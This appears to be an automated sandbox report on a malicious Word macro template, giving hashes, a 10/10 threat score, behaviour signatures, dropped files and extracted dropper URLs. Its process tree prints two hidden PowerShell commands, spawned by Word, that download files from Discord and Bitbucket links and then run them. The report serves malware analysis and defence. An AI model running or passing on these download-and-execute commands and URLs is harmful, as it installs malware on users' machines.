Analysis

  • max time kernel
    104s
  • max time network
    36s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16/06/2023, 18:36

General

  • Target

    example.dotm

  • Size

    16KB

  • MD5

    1aae26fe5d7b7dc4d6794a7828aecedc

  • SHA1

    fbb8c6f45f53dc80e276a72cf9f567054b65c206

  • SHA256

    1d473e82efa66368ffb4ce8f5eb947296c8e8d3febbe3a6283857da6fb1cc7d5

  • SHA512

    2036693971d4710c9d59c569a8a8fef98ee33422b324c343c07aac9fb67500f82e54c6904054f65a7294dbbc745773fdbf6a6051aa7a71ac8b04b9c3dcf5c6e0

  • SSDEEP

    384:tBt67TB+TZ2T/aNxt/ZtNNei/eX+30Oncsqf:R6PaGIxllNeAeX+3BcBf

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://cdn.discordapp.com/attachments/1074394309446619298/1085646503940464700/putty.exe

Extracted

Language
ps1
Source
URLs
exe.dropper

https://bitbucket.org/damnman/damn/downloads/simplecryptservice.docx

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\example.dotm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://cdn.discordapp.com/attachments/1074394309446619298/1085646503940464700/putty.exe -Dest C:\Users\Public\putty.exe;C:\Users\Public\putty.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1780
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://bitbucket.org/damnman/damn/downloads/simplecryptservice.docx -Dest C:\Users\Public\simplecryptservice.docx;C:\Users\Public\simplecryptservice.docx
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1732
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:956

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            e111b18ce37556f2961842921317c129

            SHA1

            a93f37016e9176b4529ecdac8ee1a143a744fec5

            SHA256

            f1fcd7f85bd19f81a31dab095d910c45f16f3f89d53f3a6d7bfab8fd1f93b3aa

            SHA512

            7f6e06e5034b1c838e5c02c56358bf505551237c24be6ae9c5b4ee0780fd5534ae660885448b5f36b977effeace2c74e5af834e119f609155f60e40305e4b5e6

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RADVAUVL5R994BXWEHYM.temp

            Filesize

            7KB

            MD5

            74bfa09533ca27c2bdbf23bd1310627e

            SHA1

            442ff74b356910b8ed4bf42e6f6f90b25c08bc25

            SHA256

            c388f464806dad81a8a1b3a2c404a31aa1a399835366b734c7ef0d9b4eea1518

            SHA512

            5f2458b9d80a8725d315901fd36671c40a19937d18e61814aef3dc6470f9f52ffb9446906668667d69f961e72618d746d1e9d2539e9e12d276168e5e22a415ce

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

            Filesize

            7KB

            MD5

            74bfa09533ca27c2bdbf23bd1310627e

            SHA1

            442ff74b356910b8ed4bf42e6f6f90b25c08bc25

            SHA256

            c388f464806dad81a8a1b3a2c404a31aa1a399835366b734c7ef0d9b4eea1518

            SHA512

            5f2458b9d80a8725d315901fd36671c40a19937d18e61814aef3dc6470f9f52ffb9446906668667d69f961e72618d746d1e9d2539e9e12d276168e5e22a415ce

          • memory/1732-86-0x00000000027E0000-0x0000000002820000-memory.dmp

            Filesize

            256KB

          • memory/1780-87-0x0000000002760000-0x00000000027A0000-memory.dmp

            Filesize

            256KB

          • memory/1984-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1984-101-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB